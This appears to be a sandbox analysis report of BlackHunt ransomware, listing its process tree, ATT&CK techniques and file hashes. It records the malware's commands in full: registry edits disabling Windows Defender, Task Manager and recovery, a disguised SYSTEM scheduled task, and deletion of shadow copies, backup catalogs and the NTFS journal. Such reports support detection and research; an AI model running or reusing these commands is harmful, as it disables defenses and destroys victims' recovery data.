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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:976 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:4528
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f2⤵
- Suspicious use of WriteProcessMemory
PID:4056 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f3⤵PID:5048
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f4⤵
- Suspicious use of WriteProcessMemory
PID:4832
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
PID:3100 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender Real-time Protection settings
PID:5028
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
PID:1800 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f3⤵PID:2100
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f2⤵
- Suspicious use of WriteProcessMemory
PID:4228 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f3⤵PID:2796
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f2⤵
- Suspicious use of WriteProcessMemory
PID:3388 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f3⤵PID:2712
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f2⤵
- Suspicious use of WriteProcessMemory
PID:624 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f3⤵PID:5084
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
PID:4000
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f2⤵PID:5104
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f3⤵PID:392
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f2⤵PID:208
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f3⤵PID:968
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f2⤵PID:3972
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f3⤵PID:2328
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f2⤵PID:2452
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f3⤵PID:4024
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:2292
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵
- Modifies registry class
PID:2984
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f2⤵PID:3876
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f3⤵PID:4768
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f2⤵
- Adds Run key to start application
PID:5048
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f2⤵PID:1236
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f2⤵PID:4484
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f2⤵PID:2640
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f2⤵PID:4292
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f2⤵PID:3836
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f2⤵PID:448
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:2140
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f2⤵PID:2880
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f2⤵PID:4088
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f2⤵PID:5096
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
PID:1108
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe" /F2⤵PID:2100
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C:\Windows\system32\schtasks.exeSCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\4525be4072353f649516334425b2c8771b518b9016c08ba11a4135f3552f8709.exe" /F3⤵
- Creates scheduled task(s)
PID:1848
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB2⤵PID:3088
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:2508
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded2⤵PID:4352
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:3952
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB2⤵PID:3988
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB3⤵
- Interacts with shadow copies
PID:4624
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded2⤵PID:3404
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded3⤵
- Interacts with shadow copies
PID:2132
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:5012
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C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:3852
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:1576
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:4048
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:4156
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:2536
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:3756
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C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:3356
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:2176
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C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:720
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:2300
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C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:2244
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f1⤵PID:2952
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f1⤵PID:1428
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f1⤵PID:2508
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f1⤵PID:2132
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f1⤵PID:912
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f1⤵PID:4676
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f1⤵PID:3412
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f1⤵PID:1280
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f1⤵PID:2300
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f1⤵PID:1576
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f1⤵PID:3008
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f1⤵PID:4556
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4360
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C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5252
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C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:5992
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C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵
- Checks SCSI registry key(s)
PID:3844
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
3File Deletion
3Modify Registry
4Replay Monitor
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Downloads
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Filesize
1KB
MD5ecf46c417bf473ade3bada8d814695f2
SHA12263a61c72a97826e57838e414655f458751e523
SHA256aa8aabd10a3dab6487b5a5d94bc804c453f4eec6be3f1b2c7b398f740c3106da
SHA5129fbd20ef22de1631878cc2cf03deedf6ae0d66069c8d8b280298f3140cd13cade76c785ee7dc09ba5c7f2947085fcac1a3c1f40c7fd84b6138ae602d28e10f47
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Filesize
12KB
MD5981c9bcd9fc76057299f055705e45036
SHA1270b3826bfe0631646f3c7c30457e853332faa5b
SHA256f2be27b6f453364c200efe6eb60d9d42ab0b7c2e44abbe00683d23494dae8932
SHA512eab386b56616e670e99a14634c31843d628ac948fb09550474c3a19003b6254888092066d9ffbafdf1c3ebb951415608be160a870f08d7180131463e3c7026e8
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Filesize
684B
MD5107da584a5f2f0079eae04ad5ee3e379
SHA16536004b7c567b7c01d5c49bec6e71c0d582fdfd
SHA2562e4e337816ae1d76af7dc91420a9020d2f59c02fd136835711da5671a416b841
SHA512027f640ea0efac236ac71f4e1a53f68ae6d18205ac9cd112c05f530ea820a35fecb883c76ad97552fabe8b6d63989ea4063b50ff789fa55628d28ba408d253d0